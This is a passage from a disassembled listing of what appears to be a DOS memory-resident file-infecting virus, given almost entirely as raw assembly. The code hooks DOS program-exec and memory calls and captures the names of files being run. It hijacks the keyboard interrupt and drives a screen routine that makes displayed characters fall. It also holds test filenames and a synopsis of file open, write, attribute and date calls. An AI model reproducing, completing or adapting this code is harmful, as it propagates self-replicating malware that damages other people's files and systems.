  2035. ;
  2036.  
  2037. ;         Called from:     6FB8:0247, 08CB, 08EC, 0935
  2038.  
  2039. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  2040.  
  2041.  
  2042.  
  2043. sub_17        proc    near
  2044.  
  2045.         pop    bx
  2046.  
  2047.         push    ds
  2048.  
  2049.         push    ax
  2050.  
  2051.         push    ds
  2052.  
  2053.         push    cs
  2054.  
  2055.         pop    ds
  2056.  
  2057.         call    sub_18            ; (08C4)
  2058.  
  2059.  
  2060.  
  2061. ;▀▀▀▀ External Entry into Subroutine ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  2062.  
  2063. ;
  2064.  
  2065. ;         Called from:     6FB8:08C1
  2066.  
  2067.  
  2068.  
  2069. sub_18:
  2070.  
  2071.         pop    si
  2072.  
  2073.         sub    si,77Bh
  2074.  
  2075.         jmp    bx            ;*Register jump
  2076.  
  2077. loc_51:                        ;  xref 6FB8:0918, 091D
  2078.  
  2079.         call    sub_17            ; (08BB)
  2080.  
  2081.         push    cx
  2082.  
  2083.         mov    ax,[si+7]
  2084.  
  2085.         mov    cx,es
  2086.  
  2087.         cmp    ax,cx
  2088.  
  2089.         pop    cx
  2090.  
  2091.         pop    ds
  2092.  
  2093.         pop    ax
  2094.  
  2095.         jnz    loc_52            ; Jump if not zero
  2096.  
  2097.         push    cs
  2098.  
  2099.         pop    es
  2100.  
  2101.         cmp    ah,49h            ; 'I'
  2102.  
  2103.         je    loc_52            ; Jump if equal
  2104.  
  2105.         add    bx,1D0h
  2106.  
  2107. loc_52:                        ;  xref 6FB8:08D9, 08E0
  2108.  
  2109.         pop    ds
  2110.  
  2111.         jmp    short loc_55        ; (0924)
  2112.  
  2113.         db    90h
  2114.  
  2115. loc_53:                        ;  xref 6FB8:08B3, 090A, 0913
  2116.  
  2117.         xor    dx,dx            ; Zero register
  2118.  
  2119. loc_54:                        ;  xref 6FB8:090F
  2120.  
  2121.         call    sub_17            ; (08BB)
  2122.  
  2123.         push    es
  2124.  
  2125.         push    dx
  2126.  
  2127.         cli                ; Disable interrupts
  2128.  
  2129.         call    sub_14            ; (0858)
  2130.  
  2131.         sti                ; Enable interrupts
  2132.  
  2133.         pop    ax
  2134.  
  2135.         mov    dx,1D0h
  2136.  
  2137.         add    dx,ax
  2138.  
  2139.         add    dx,10h
  2140.  
  2141.         pop    es
  2142.  
  2143.         pop    ds
  2144.  
  2145.         pop    ax
  2146.  
  2147.         pop    ds
  2148.  
  2149.         mov    ah,31h            ; '1'
  2150.  
  2151.         jmp    short loc_55        ; (0924)
  2152.  
  2153.         cmp    ah,4Ch            ; 'L'
  2154.  
  2155.         je    loc_53            ; Jump if equal
  2156.  
  2157.         cmp    ah,31h            ; '1'
  2158.  
  2159.         je    loc_54            ; Jump if equal
  2160.  
  2161.         or    ah,ah            ; Zero ?
  2162.  
  2163.         jz    loc_53            ; Jump if zero
  2164.  
  2165.         cmp    ah,49h            ; 'I'
  2166.  
  2167.         je    loc_51            ; Jump if equal
  2168.  
  2169.         cmp    ah,4Ah            ; 'J'
  2170.  
  2171.         je    loc_51            ; Jump if equal
  2172.  
  2173.         cmp    ah,4Bh            ; 'K'
  2174.  
  2175.         je    loc_56            ; Jump if equal
  2176.  
  2177. loc_55:                        ;  xref 6FB8:08E7, 0905, 0993
  2178.  
  2179. ;*        jmp    far ptr loc_4        ;*(0E4C:035D)
  2180.  
  2181.         db    0EAh, 5Dh, 03h, 4Ch, 0Eh
  2182.  
  2183.         db     80h,0FCh, 4Bh, 75h,0F6h
  2184.  
  2185. loc_56:                        ;  xref 6FB8:0922
  2186.  
  2187.         push    cx
  2188.  
  2189.         push    dx
  2190.  
  2191.         push    es
  2192.  
  2193.         push    bx
  2194.  
  2195.         push    si
  2196.  
  2197.         push    di
  2198.  
  2199.         push    bp
  2200.  
  2201.         call    sub_17            ; (08BB)
  2202.  
  2203.         call    sub_15            ; (0875)
  2204.  
  2205. loc_57:                        ;  xref 6FB8:0941, 0949
  2206.  
  2207.         sti                ; Enable interrupts
  2208.  
  2209.         test    byte ptr ds:data_26e,2    ; (0000:0972=74h)
  2210.  
  2211.         jnz    loc_57            ; Jump if not zero
  2212.  
  2213.         cli                ; Disable interrupts
  2214.  
  2215.         test    byte ptr ds:data_26e,2    ; (0000:0972=74h)
  2216.  
  2217.         jnz    loc_57            ; Jump if not zero
  2218.  
  2219.         or    byte ptr ds:data_26e,2    ; (0000:0972=74h)
  2220.  
  2221.         pop    ds
  2222.  
  2223.         mov    bx,dx
  2224.  
  2225.         mov    byte ptr cs:data_40e[si],0FFh    ; (6FB8:00E2=0)
  2226.  
  2227.         cmp    byte ptr [bx+1],3Ah    ; ':'
  2228.  
  2229.         jne    loc_58            ; Jump if not equal
  2230.  
  2231.         mov    al,[bx]
  2232.  
  2233.         or    al,20h            ; ' '
  2234.  
  2235.         sub    al,61h            ; 'a'
  2236.  
  2237.         mov    cs:data_40e[si],al    ; (6FB8:00E2=0)
  2238.  
  2239. loc_58:                        ;  xref 6FB8:095D
  2240.  
  2241.         push    si
  2242.  
  2243.         push    di
  2244.  
  2245.         push    es
  2246.  
  2247.         cld                ; Clear direction
  2248.  
  2249.         mov    si,dx
  2250.  
  2251.         push    cs
  2252.  
  2253.         pop    es
  2254.  
  2255.         mov    di,offset ds:[984h]    ; (6FB8:0984=2Eh)
  2256.  
  2257. loc_59:                        ;  xref 6FB8:0979
  2258.  
  2259.         lodsb                ; String [si] to al
  2260.  
  2261.         stosb                ; Store al to es:[di]
  2262.  
  2263.         or    al,al            ; Zero ?
  2264.  
  2265.         jnz    loc_59            ; Jump if not zero
  2266.  
  2267.         pop    es
  2268.  
  2269.         pop    di
  2270.  
  2271.         pop    si
  2272.  
  2273.         call    sub_5            ; (056E)
  2274.  
  2275.         call    sub_16            ; (089A)
  2276.  
  2277.         and    byte ptr cs:[972h],0FDh    ; (6FB8:0972=0BFh)
  2278.  
  2279.         pop    ax
  2280.  
  2281.         pop    ds
  2282.  
  2283.         pop    bp
  2284.  
  2285.         pop    di
  2286.  
  2287.         pop    si
  2288.  
  2289.         pop    bx
  2290.  
  2291.         pop    es
  2292.  
  2293.         pop    dx
  2294.  
  2295.         pop    cx
  2296.  
  2297.         jmp    short loc_55        ; (0924)
  2298.  
  2299. sub_17        endp
  2300.  
  2301.  
  2302.  
  2303.         db     83h,0C2h, 0Fh,0B1h, 04h,0D3h
  2304.  
  2305.         db    0EAh,0E9h, 4Dh,0FFh,0EAh,0FEh
  2306.  
  2307.         db     5Dh, 9Bh, 02h, 56h,0E8h, 00h
  2308.  
  2309.         db     00h, 5Eh, 81h,0EEh, 5Fh, 08h
  2310.  
  2311.         db     2Eh, 80h, 8Ch,0EEh, 00h, 01h
  2312.  
  2313.         db     5Eh, 32h,0C0h,0CFh, 01h, 00h
  2314.  
  2315.         db     00h, 00h, 8Ah, 00h, 00h, 00h
  2316.  
  2317.         db     00h, 5Fh,0FEh, 00h, 00h, 00h
  2318.  
  2319.         db     00h,0B8h, 00h, 00h, 49h, 00h
  2320.  
  2321.         db     00h, 00h
  2322.  
  2323.         db    'A:\TEST3066.COM'
  2324.  
  2325.  
  2326.  
  2327.  
  2328.  
  2329.         db     00h, 00h, 00h, 45h, 58h, 45h
  2330.  
  2331.         db     00h, 45h, 00h
  2332.  
  2333.         db    143 dup (0)
  2334.  
  2335. loc_60:                        ;  xref 6FB8:0AEF
  2336.  
  2337.         push    cx
  2338.  
  2339.         push    ds
  2340.  
  2341.         push    es
  2342.  
  2343.         push    si
  2344.  
  2345.         push    di
  2346.  
  2347.         push    cs
  2348.  
  2349.         pop    es
  2350.  
  2351.         cld                ; Clear direction
  2352.  
  2353.         test    al,20h            ; ' '
  2354.  
  2355.         jz    loc_63            ; Jump if zero
  2356.  
  2357.         test    al,2
  2358.  
  2359.         jnz    loc_64            ; Jump if not zero
  2360.  
  2361.         xor    ax,ax            ; Zero register
  2362.  
  2363.         mov    ds,ax
  2364.  
  2365.         mov    al,ds:data_25e        ; (0000:0449=3)
  2366.  
  2367.         mov    cx,0B800h
  2368.  
  2369.         cmp    al,7
  2370.  
  2371.         jne    loc_61            ; Jump if not equal
  2372.  
  2373.         mov    cx,0B000h
  2374.  
  2375.         jmp    short loc_62        ; (0A9F)
  2376.  
  2377. loc_61:                        ;  xref 6FB8:0A90
  2378.  
  2379.         cmp    al,2
  2380.  
  2381.         je    loc_62            ; Jump if equal
  2382.  
  2383.         cmp    al,3
  2384.  
  2385.         jne    loc_64            ; Jump if not equal
  2386.  
  2387. loc_62:                        ;  xref 6FB8:0A95, 0A99
  2388.  
  2389.         mov    word ptr cs:[97Ch],cx    ; (6FB8:097C=5E5Fh)
  2390.  
  2391.         or    byte ptr cs:[972h],2    ; (6FB8:0972=0BFh)
  2392.  
  2393.         mov    word ptr cs:[97Eh],0    ; (6FB8:097E=0EDE8h)
  2394.  
  2395.         mov    ds,cx
  2396.  
  2397.         mov    cx,7D0h
  2398.  
  2399.         xor    si,si            ; Zero register
  2400.  
  2401.         mov    di,offset ds:[0CF5h]    ; (6FB8:0CF5=0BEh)
  2402.  
  2403.         rep    movsw            ; Rep when cx >0 Mov [si] to es:[di]
  2404.  
  2405.         xor    ax,ax            ; Zero register
  2406.  
  2407.         mov    ds,ax
  2408.  
  2409.         mov    ax,0B92h
  2410.  
  2411.         xchg    ax,ds:data_1e        ; (0000:0024=45h)
  2412.  
  2413.         mov    word ptr cs:[973h],ax    ; (6FB8:0973=984h)
  2414.  
  2415.         mov    ax,cs
  2416.  
  2417.         xchg    ax,ds:data_2e        ; (0000:0026=3D1h)
  2418.  
  2419.         mov    word ptr cs:[975h],ax    ; (6FB8:0975=0AAACh)
  2420.  
  2421. loc_63:                        ;  xref 6FB8:0A7E
  2422.  
  2423.         mov    cx,50h
  2424.  
  2425.         mov    ax,0F00h
  2426.  
  2427.         mov    di,offset data_54    ; (6FB8:0105=9)
  2428.  
  2429.         rep    stosw            ; Rep when cx >0 Store ax to es:[di]
  2430.  
  2431.         and    byte ptr cs:[972h],7    ; (6FB8:0972=0BFh)
  2432.  
  2433. loc_64:                        ;  xref 6FB8:0A82, 0A9D
  2434.  
  2435.         pop    di
  2436.  
  2437.         pop    si
  2438.  
  2439.         pop    es
  2440.  
  2441.         pop    ds
  2442.  
  2443.         pop    cx
  2444.  
  2445.         jmp    loc_76            ; (0BCF)
  2446.  
  2447. loc_65:                        ;  xref 6FB8:0AFE
  2448.  
  2449.         jmp    short loc_60        ; (0A74)
  2450.  
  2451.         push    ax
  2452.  
  2453.         mov    byte ptr cs:[979h],0    ; (6FB8:0979=75h)
  2454.  
  2455.         mov    al,byte ptr cs:[972h]    ; (6FB8:0972=0BFh)
  2456.  
  2457.         test    al,60h            ; '`'
  2458.  
  2459.         jnz    loc_65            ; Jump if not zero
  2460.  
  2461.         test    al,80h
  2462.  
  2463.         jz    loc_68            ; Jump if zero
  2464.  
  2465.         cmp    word ptr cs:[97Eh],0    ; (6FB8:097E=0EDE8h)
  2466.  
  2467.         je    loc_66            ; Jump if equal
  2468.  
  2469.         inc    word ptr cs:[97Eh]    ; (6FB8:097E=0EDE8h)
  2470.  
  2471.         cmp    word ptr cs:[97Eh],444h    ; (6FB8:097E=0EDE8h)
  2472.  
  2473.         jl    loc_66            ; Jump if <
  2474.  
  2475.         call    sub_19            ; (0C25)
  2476.  
  2477.         jmp    loc_76            ; (0BCF)
  2478.  
  2479. loc_66:                        ;  xref 6FB8:0B0A, 0B18
  2480.  
  2481.         test    al,18h
  2482.  
  2483.         jz    loc_67            ; Jump if zero
  2484.  
  2485.         dec    word ptr cs:[977h]    ; (6FB8:0977=0C00Ah)
  2486.  
  2487.         jnz    loc_67            ; Jump if not zero
  2488.  
  2489.         and    byte ptr cs:[972h],0E7h    ; (6FB8:0972=0BFh)
  2490.  
  2491.         or    byte ptr cs:[972h],40h    ; (6FB8:0972=0BFh) '@'
  2492.  
  2493.         test    al,8
  2494.  
  2495.         jz    loc_67            ; Jump if zero
  2496.  
  2497.         or    byte ptr cs:[972h],20h    ; (6FB8:0972=0BFh) ' '
  2498.  
  2499. loc_67:                        ;  xref 6FB8:0B22, 0B29, 0B39, 0B4C
  2500.  
  2501.         jmp    loc_76            ; (0BCF)
  2502.  
  2503. loc_68:                        ;  xref 6FB8:0B02
  2504.  
  2505.         xor    byte ptr cs:[972h],1    ; (6FB8:0972=0BFh)
  2506.  
  2507.         test    al,1
  2508.  
  2509.         jz    loc_67            ; Jump if zero
  2510.  
  2511.         push    bx
  2512.  
  2513.         push    si
  2514.  
  2515.         push    ds
  2516.  
  2517.         mov    ds,word ptr cs:[97Ch]    ; (6FB8:097C=5E5Fh)
  2518.  
  2519.         xor    si,si            ; Zero register
  2520.  
  2521.         mov    byte ptr cs:[96Eh],0    ; (6FB8:096E=8Bh)
  2522.  
  2523. loc_69:                        ;  xref 6FB8:0BB5
  2524.  
  2525.         mov    bx,cs:data_54[si]    ; (6FB8:0105=0CD09h)
  2526.  
  2527.         or    bx,bx            ; Zero ?
  2528.  
  2529.         jz    loc_70            ; Jump if zero
  2530.  
  2531.         cmp    byte ptr [bx+si],20h    ; ' '
  2532.  
  2533.         jne    loc_70            ; Jump if not equal
  2534.  
  2535.         cmp    byte ptr ds:data_31e[bx+si],20h    ; (5E5F:FF60=0FFh) ' '
  2536.  
  2537.         je    loc_70            ; Jump if equal
  2538.  
  2539.         mov    ax,720h
  2540.  
  2541.         xchg    ax,ds:data_31e[bx+si]    ; (5E5F:FF60=0FFFFh)
  2542.  
  2543.         mov    [bx+si],ax
  2544.  
  2545.         add    bx,0A0h
  2546.  
  2547. loc_70:                        ;  xref 6FB8:0B65, 0B6A, 0B71
  2548.  
  2549.         cmp    bx,data_30e        ; (5E5F:0FA0=0FFh)
  2550.  
  2551.         je    loc_71            ; Jump if equal
  2552.  
  2553.         cmp    byte ptr [bx+si],20h    ; ' '
  2554.  
  2555.         jne    loc_71            ; Jump if not equal
  2556.  
  2557.         jnz    loc_74            ; Jump if not zero
  2558.  
  2559. loc_71:                        ;  xref 6FB8:0B84, 0B89
  2560.  
  2561.         mov    bx,data_29e        ; (5E5F:0F00=0FFh)
  2562.  
  2563. loc_72:                        ;  xref 6FB8:0BA2
  2564.  
  2565.         cmp    byte ptr [bx+si],20h    ; ' '
  2566.  
  2567.         jne    loc_73            ; Jump if not equal
  2568.  
  2569.         cmp    byte ptr ds:data_31e[bx+si],20h    ; (5E5F:FF60=0FFh) ' '
  2570.  
  2571.         jne    loc_74            ; Jump if not equal
  2572.  
  2573. loc_73:                        ;  xref 6FB8:0B93
  2574.  
  2575.         sub    bx,0A0h
  2576.  
  2577.         or    bx,bx            ; Zero ?
  2578.  
  2579.         jnz    loc_72            ; Jump if not zero
  2580.  
  2581. loc_74:                        ;  xref 6FB8:0B8B, 0B9A
  2582.  
  2583.         mov    cs:data_54[si],bx    ; (6FB8:0105=0CD09h)
  2584.  
  2585.         or    word ptr cs:[96Eh],bx    ; (6FB8:096E=0F28Bh)
  2586.  
  2587.         add    si,2
  2588.  
  2589.         cmp    si,0A0h
  2590.  
  2591.         jne    loc_69            ; Jump if not equal
  2592.  
  2593.         cmp    byte ptr cs:[96Eh],0    ; (6FB8:096E=8Bh)
  2594.  
  2595.         jne    loc_75            ; Jump if not equal
  2596.  
  2597.         or    byte ptr cs:[972h],80h    ; (6FB8:0972=0BFh)
  2598.  
  2599.         mov    word ptr cs:[97Eh],1    ; (6FB8:097E=0EDE8h)
  2600.  
  2601. loc_75:                        ;  xref 6FB8:0BBD
  2602.  
  2603.         pop    ds
  2604.  
  2605.         pop    si
  2606.  
  2607.         pop    bx
  2608.  
  2609. loc_76:                        ;  xref 6FB8:0AEC, 0B1D, 0B41
  2610.  
  2611.         pop    ax
  2612.  
  2613. ;*        jmp    far ptr loc_90        ;*(FC00:3F4D)
  2614.  
  2615.         db    0EAh, 4Dh, 3Fh, 00h,0FCh
  2616.  
  2617. loc_77:                        ;  xref 6FB8:0C32
  2618.  
  2619.         mov    al,20h            ; ' '
  2620.  
  2621.         out    20h,al            ; port 20h, 8259-1 int command
  2622.  
  2623.                         ;  al = 20h, end of interrupt
  2624.  
  2625.         pop    ax
  2626.  
  2627.         iret                ; Interrupt return
  2628.  
  2629.         db     50h,0E4h, 60h, 2Eh,0A2h, 7Ah
  2630.  
  2631.         db     09h,0E4h, 61h, 8Ah,0E0h, 0Ch
  2632.  
  2633.         db     80h,0E6h, 61h, 8Ah,0C4h,0E6h
  2634.  
  2635.         db     61h, 2Eh, 80h, 3Eh, 79h, 09h
  2636.  
  2637.         db     00h, 2Eh,0C6h, 06h, 79h, 09h
  2638.  
  2639.         db     01h, 75h,0D9h, 2Eh,0A0h, 7Ah
  2640.  
  2641.         db     09h, 3Ch,0F0h, 74h,0D1h, 24h
  2642.  
  2643.         db     7Fh, 2Eh, 3Ah, 06h, 7Bh, 09h
  2644.  
  2645.         db     2Eh,0A2h, 7Bh, 09h, 74h,0C4h
  2646.  
  2647.         db     2Eh, 83h, 3Eh, 7Eh, 09h, 00h
  2648.  
  2649.         db     74h, 07h, 2Eh,0C7h, 06h, 7Eh
  2650.  
  2651.         db     09h, 01h, 00h,0E8h, 02h, 00h
  2652.  
  2653.         db    0EBh,0B0h
  2654.  
  2655.  
  2656.  
  2657. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  2658.  
  2659. ;                   SUBROUTINE
  2660.  
  2661. ;
  2662.  
  2663. ;         Called from:     6FB8:0B1A
  2664.  
  2665. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  2666.  
  2667.  
  2668.  
  2669. sub_19        proc    near
  2670.  
  2671.         mov    word ptr cs:[977h],28h    ; (6FB8:0977=0C00Ah)
  2672.  
  2673.         test    byte ptr cs:[972h],80h    ; (6FB8:0972=0BFh)
  2674.  
  2675.         jz    loc_77            ; Jump if zero
  2676.  
  2677.         mov    byte ptr cs:[970h],1    ; (6FB8:0970=0Eh)
  2678.  
  2679.         push    bx
  2680.  
  2681.         push    si
  2682.  
  2683.         push    ds
  2684.  
  2685.         mov    ds,word ptr cs:[97Ch]    ; (6FB8:097C=5E5Fh)
  2686.  
  2687.         test    byte ptr cs:[972h],10h    ; (6FB8:0972=0BFh)
  2688.  
  2689.         jnz    loc_81            ; Jump if not zero
  2690.  
  2691.         or    byte ptr cs:[972h],10h    ; (6FB8:0972=0BFh)
  2692.  
  2693.         xor    si,si            ; Zero register
  2694.  
  2695. loc_78:                        ;  xref 6FB8:0C77
  2696.  
  2697.         mov    bx,data_29e        ; (5E5F:0F00=0FFh)
  2698.  
  2699. loc_79:                        ;  xref 6FB8:0C5E
  2700.  
  2701.         cmp    byte ptr [bx+si],20h    ; ' '
  2702.  
  2703.         je    loc_80            ; Jump if equal
  2704.  
  2705.         sub    bx,0A0h
  2706.  
  2707.         jnc    loc_79            ; Jump if carry=0
  2708.  
  2709.         mov    bx,0F00h
  2710.  
  2711. loc_80:                        ;  xref 6FB8:0C58
  2712.  
  2713.         add    bx,data_28e        ; (5E5F:00A0=0FFh)
  2714.  
  2715.         mov    cs:data_54[si],bx    ; (6FB8:0105=0CD09h)
  2716.  
  2717.         mov    word ptr cs:[980h][si],bx    ; (6FB8:0980=0E8FBh)
  2718.  
  2719.         inc    si
  2720.  
  2721.         inc    si
  2722.  
  2723.         cmp    si,data_37e        ; (6FB8:00A0=0)
  2724.  
  2725.         jne    loc_78            ; Jump if not equal
  2726.  
  2727. loc_81:                        ;  xref 6FB8:0C48
  2728.  
  2729.         xor    si,si            ; Zero register
  2730.  
  2731. loc_82:                        ;  xref 6FB8:0CE4
  2732.  
  2733.         cmp    cs:data_54[si],0FA0h    ; (6FB8:0105=0CD09h)
  2734.  
  2735.         je    loc_88            ; Jump if equal
  2736.  
  2737.         mov    bx,word ptr cs:[980h][si]    ; (6FB8:0980=0E8FBh)
  2738.  
  2739.         mov    ax,[bx+si]
  2740.  
  2741.         cmp    ax,word ptr cs:[0CF5h][bx+si]    ; (6FB8:0CF5=0F5BEh)
  2742.  
  2743.         jne    loc_84            ; Jump if not equal
  2744.  
  2745.         push    bx
  2746.  
  2747. loc_83:                        ;  xref 6FB8:0CA0, 0CA4
  2748.  
  2749.         or    bx,bx            ; Zero ?
  2750.  
  2751.         jz    loc_86            ; Jump if zero
  2752.  
  2753.         sub    bx,0A0h
  2754.  
  2755.         cmp    ax,word ptr cs:[0CF5h][bx+si]    ; (6FB8:0CF5=0F5BEh)
  2756.  
  2757.         jne    loc_83            ; Jump if not equal
  2758.  
  2759.         cmp    ax,[bx+si]
  2760.  
  2761.         je    loc_83            ; Jump if equal
  2762.  
  2763.         pop    bx
  2764.  
  2765. loc_84:                        ;  xref 6FB8:0C90
  2766.  
  2767.         or    bx,bx            ; Zero ?
  2768.  
  2769.         jnz    loc_85            ; Jump if not zero
  2770.  
  2771.         mov    word ptr [si],720h
  2772.  
  2773.         jmp    short loc_87        ; (0CCB)
  2774.  
  2775. loc_85:                        ;  xref 6FB8:0CA9
  2776.  
  2777.         mov    ax,[bx+si]
  2778.  
  2779.         mov    ds:data_31e[bx+si],ax    ; (5E5F:FF60=0FFFFh)
  2780.  
  2781.         mov    word ptr [bx+si],720h
  2782.  
  2783.         sub    word ptr cs:[980h][si],0A0h    ; (6FB8:0980=0E8FBh)
  2784.  
  2785.         mov    byte ptr cs:[970h],0    ; (6FB8:0970=0Eh)
  2786.  
  2787.         jmp    short loc_88        ; (0CDE)
  2788.  
  2789. loc_86:                        ;  xref 6FB8:0C95
  2790.  
  2791.         pop    bx
  2792.  
  2793. loc_87:                        ;  xref 6FB8:0CAF
  2794.  
  2795.         mov    bx,cs:data_54[si]    ; (6FB8:0105=0CD09h)
  2796.  
  2797.         add    bx,0A0h
  2798.  
  2799.         mov    cs:data_54[si],bx    ; (6FB8:0105=0CD09h)
  2800.  
  2801.         mov    word ptr cs:[980h][si],bx    ; (6FB8:0980=0E8FBh)
  2802.  
  2803. loc_88:                        ;  xref 6FB8:0C82, 0CC8
  2804.  
  2805.         inc    si
  2806.  
  2807.         inc    si
  2808.  
  2809.         cmp    si,0A0h
  2810.  
  2811.         jne    loc_82            ; Jump if not equal
  2812.  
  2813.         cmp    byte ptr cs:[970h],0    ; (6FB8:0970=0Eh)
  2814.  
  2815.         je    loc_89            ; Jump if equal
  2816.  
  2817.         push    es
  2818.  
  2819.         push    di
  2820.  
  2821.         push    cx
  2822.  
  2823.         push    ds
  2824.  
  2825.         pop    es
  2826.  
  2827.         push    cs
  2828.  
  2829.         pop    ds
  2830.  
  2831.         mov    si,offset ds:[0CF5h]    ; (6FB8:0CF5=0BEh)
  2832.  
  2833.         xor    di,di            ; Zero register
  2834.  
  2835.         mov    cx,7D0h
  2836.  
  2837.         rep    movsw            ; Rep when cx >0 Mov [si] to es:[di]
  2838.  
  2839.         mov    word ptr cs:[977h],0FFDCh    ; (6FB8:0977=0C00Ah)
  2840.  
  2841.         and    byte ptr cs:[972h],4    ; (6FB8:0972=0BFh)
  2842.  
  2843.         or    byte ptr cs:[972h],88h    ; (6FB8:0972=0BFh)
  2844.  
  2845.         mov    word ptr cs:[97Eh],0    ; (6FB8:097E=0EDE8h)
  2846.  
  2847.         xor    ax,ax            ; Zero register
  2848.  
  2849.         mov    ds,ax
  2850.  
  2851.         mov    ax,word ptr cs:[973h]    ; (6FB8:0973=984h)
  2852.  
  2853.         mov    ds:data_1e,ax        ; (0000:0024=45h)
  2854.  
  2855.         mov    ax,word ptr cs:[975h]    ; (6FB8:0975=0AAACh)
  2856.  
  2857.         mov    ds:data_2e,ax        ; (0000:0026=3D1h)
  2858.  
  2859.         pop    cx
  2860.  
  2861.         pop    di
  2862.  
  2863.         pop    es
  2864.  
  2865. loc_89:                        ;  xref 6FB8:0CEC
  2866.  
  2867.         pop    ds
  2868.  
  2869.         pop    si
  2870.  
  2871.         pop    bx
  2872.  
  2873.         retn
  2874.  
  2875. sub_19        endp
  2876.  
  2877.  
  2878.  
  2879.  
  2880.  
  2881. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  2882.  
  2883. ;                   SUBROUTINE
  2884.  
  2885. ;
  2886.  
  2887. ;         Called from:     6FB8:04D3, 04EC
  2888.  
  2889. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  2890.  
  2891.  
  2892.  
  2893. sub_20        proc    near
  2894.  
  2895.         cld                ; Clear direction
  2896.  
  2897.         pop    ax
  2898.  
  2899.         sub    ax,si
  2900.  
  2901.         add    ax,di
  2902.  
  2903.         push    es
  2904.  
  2905.         push    ax
  2906.  
  2907.         rep    movsb            ; Rep when cx >0 Mov [si] to es:[di]
  2908.  
  2909.         retf                ; Return far
  2910.  
  2911. sub_20        endp
  2912.  
  2913.  
  2914.  
  2915.         db     90h, 50h,0E8h,0E2h, 03h, 8Bh
  2916.  
  2917.  
  2918.  
  2919. seg_a        ends
  2920.  
  2921.  
  2922.  
  2923.  
  2924.  
  2925.  
  2926.  
  2927.         end    start
  2928.  
  2929.  
  2930.  
  2931. ▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒ CROSS REFERENCE - KEY ENTRY POINTS ▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒
  2932.  
  2933.  
  2934.  
  2935.     seg:off    type       label
  2936.  
  2937.    ---- ----   ----   ---------------
  2938.  
  2939.    6FB8:0100   far    start
  2940.  
  2941.  
  2942.  
  2943.  ▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒ Interrupt Usage Synopsis ▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒
  2944.  
  2945.  
  2946.  
  2947.         Interrupt 21h :     set default drive dl  (0=a:)
  2948.  
  2949.         Interrupt 21h :     get default drive al  (0=a:)
  2950.  
  2951.         Interrupt 21h :     set DTA to ds:dx
  2952.  
  2953.         Interrupt 21h :     get date, cx=year, dx=mon/day
  2954.  
  2955.         Interrupt 21h :     set current dir, path @ ds:dx
  2956.  
  2957.         Interrupt 21h :     open file, al=mode,name@ds:dx
  2958.  
  2959.         Interrupt 21h :     close file, bx=file handle
  2960.  
  2961.         Interrupt 21h :     read file, cx=bytes, to ds:dx
  2962.  
  2963.         Interrupt 21h :     write file cx=bytes, to ds:dx
  2964.  
  2965.         Interrupt 21h :     move file ptr, cx,dx=offset
  2966.  
  2967.         Interrupt 21h :     get/set file attrb, nam@ds:dx
  2968.  
  2969.         Interrupt 21h :     get present dir,drive dl,1=a:
  2970.  
  2971.         Interrupt 21h :     get/set file date & time
  2972.  
  2973.  
  2974.  
  2975.  ▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒ I/O    Port Usage Synopsis  ▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒
  2976.  
  2977.  
  2978.  
  2979.         Port 20h   : 8259-1 int command
  2980.  
  2981.  
  2982.  
  2983.